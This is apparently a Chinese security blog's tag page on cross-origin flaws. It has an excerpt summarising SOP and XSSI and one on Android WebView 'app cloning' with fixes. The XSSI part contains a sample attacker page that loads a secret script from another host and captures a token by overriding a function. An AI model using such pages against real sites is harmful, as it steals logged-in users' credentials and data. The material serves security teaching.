Tag:跨域

Tag (跨域)'s result:

XSSI/JSONP/flash/CORS跨域漏洞总结

0x00 同源策略(SOP)和跨域 SOP: URL Result Reason http://store.company.com/dir2/other.html Success – http://store.company.com/dir/inner/another.html Success – https://store.company.com/secure.html Failure Different protocol http://store.company.com:81/dir/etc.html Failure Different port http://news.company.com/dir/other.html Failure Different host <script>允许跨域加载资源 所有带src或href属性的标签以及部分其他标签可以跨域: <script src=”…”></script> <img src=”…”> <video src=”…”></video> <audio src=”…”></audio> <embed src=”…”> <frame src=”…”> <iframe src=”…”></iframe> <link rel=”stylesheet” href=”…”> <applet code=”…”></applet> <object data=”…” ></object> @font-face可以引入跨域字体。 <style type=”text/css”> @font-face { src: url(“http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf”); } </style> SOP和CORS,都是浏览器阻止了响应,而非拦截请求。   0x01 XSSI Cross-Site Scrite Inclusion 传统的XSSI攻击场景:恶意页面B使用script标签包含了目标网站A用来储存敏感数据的信息源C(可能是动态脚本、文件或响应),当攻击者引导受害者访问B时,由于受害者此时在A处于登录态,B可以轻松获取C中包含的受害者的敏感信息。 0. 静态的JavaScript(常规XSSI) <html> <head> <title>Regular XSSI</title> <script src=”https://www.vulnerable-domain.tld/script.js”></script> </head> <body> <script> alert(JSON.stringify(keys[0])); </script> </body> </html> //直接访问该js即可获取敏感信息,但一般都是攻击认证后包含敏感信息的js 1. 动态JavaScript 利用网上的代码作为例子:敏感数据在局部变量,通过重写函数窃取 (function(){ var token = getToken(); doSomeThing(token); })(); function getToken(){ len = 16 || 32; var $chars = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678’; var maxPos = $chars.length; var pwd = ”; for (i = 0; i < len; i++) { pwd += $chars.charAt(Math.floor(Math.random() * maxPos)); } return pwd; } 重写doSomeThing() <!–恶意页面–> <html> <head> <title>XSSI Attack</title> <script type=”text/javascript”> window.data = ”; function doSomeThing(d){ window.data = d; } </script> </head> <body> <h2>XSSI Attack</h2> <p id=”leaked_content”></p> <script type=”text/javascript” src=”http://192.168.10.130:81/secret.js”></script> <script type=”text/javascript” src=”jquery-3.3.1″></script> <script type=”text/javascript”> $(‘#leaked_content’).text(window.data); </script> </body> </html> 更多全局变量/函数/功能参数/原型链的情况可以参考:https://www.mi1k7ea.com/2020/01/04/浅析XSSI漏洞/ 2. 非JavaScript ie bug(<10): 为了防止js错误信息跨域泄漏,对于外部加载的js文件,现在主流的浏览器只有固定的错误信息,比如“script error”,但是在ie9与ie10,情况不一定如此。……

浅谈应用克隆

0x00 概述 漏洞发现者:腾讯玄武实验室 漏洞简述:webview跨域访问,可泄漏敏感信息和登录凭证,实现对app账户的控制。 漏洞利用条件: WebView中setAllowFileAccessFromFileURLs 或setAllowUniversalAccessFromFileURLsAPI配置为true;(android<4.1默认true) Webview可直接被外部调用,且能加载外部可控html文件,即应用中存在设置为可被导出的Activity组件,并且组件中包含Webview调用。 漏洞影响:所有使用webview控件且开启了那两个true且没做安全策略的android app。   0x01 漏洞浅谈 webview: 显示网页的控件,基于webkit引擎。具有一般view的属性和设置,可以对url请求/页面加载渲染交互进行处理。 通过网页唤起第三方app用了scheme指定一个伪协议即可,如scheme=alipays://xxx 接收外部传入的URL参数,然后在APP内进行加载,如支付宝的qrcode=xxx。 漏洞在于webview开启了file域访问(那两个true),而且file域可以对http域访问,并且file域路径没有严格限制,所以攻击者可以通过url scheme远程打开并加载恶意html文件实现对app中的敏感信息进行窃取。 攻击流程大概就是通过访问恶意html,调用了file协议用js读取敏感文件,再通过http等协议发送到攻击者远程服务器。 伪协议启动要克隆的app,下载恶意html文件—>file协议(html)读取要克隆的app的私有文件—>把私有文件传到攻击者服务器—>私有文件copy到自己手机—>OVER!   0x02 修复方案 1. 无需file域访问:手动配置setAllowFileAccessFromFileURLs(file协议中js读取本地文件内容)或setAllowUniversalAccessFromFileURLs(file协议跨域)两个API为false 2. 需要file域访问:设置file路径白名单。 3. 加密敏感数据。 4. 严格限制包含webview调用的activity组件导出权限。   0x03 结语 要注意的是这个并不是新漏洞,很早就出现了webview跨域的安全问题(webview还有很多其他问题),一直没引起重视,现在就火了一把,这个漏洞危害还是很大,要及时更新app,避免点击不明链接。   0x04 参考资料 www.freebuf.com/articles/terminal/159787.html www.freebuf.com/articles/terminal/160544.html blogs.360.cn/360mobile/2014/09/22/webview跨源攻击分析/ blog.csdn.net/xwh_1230/article/details/79045251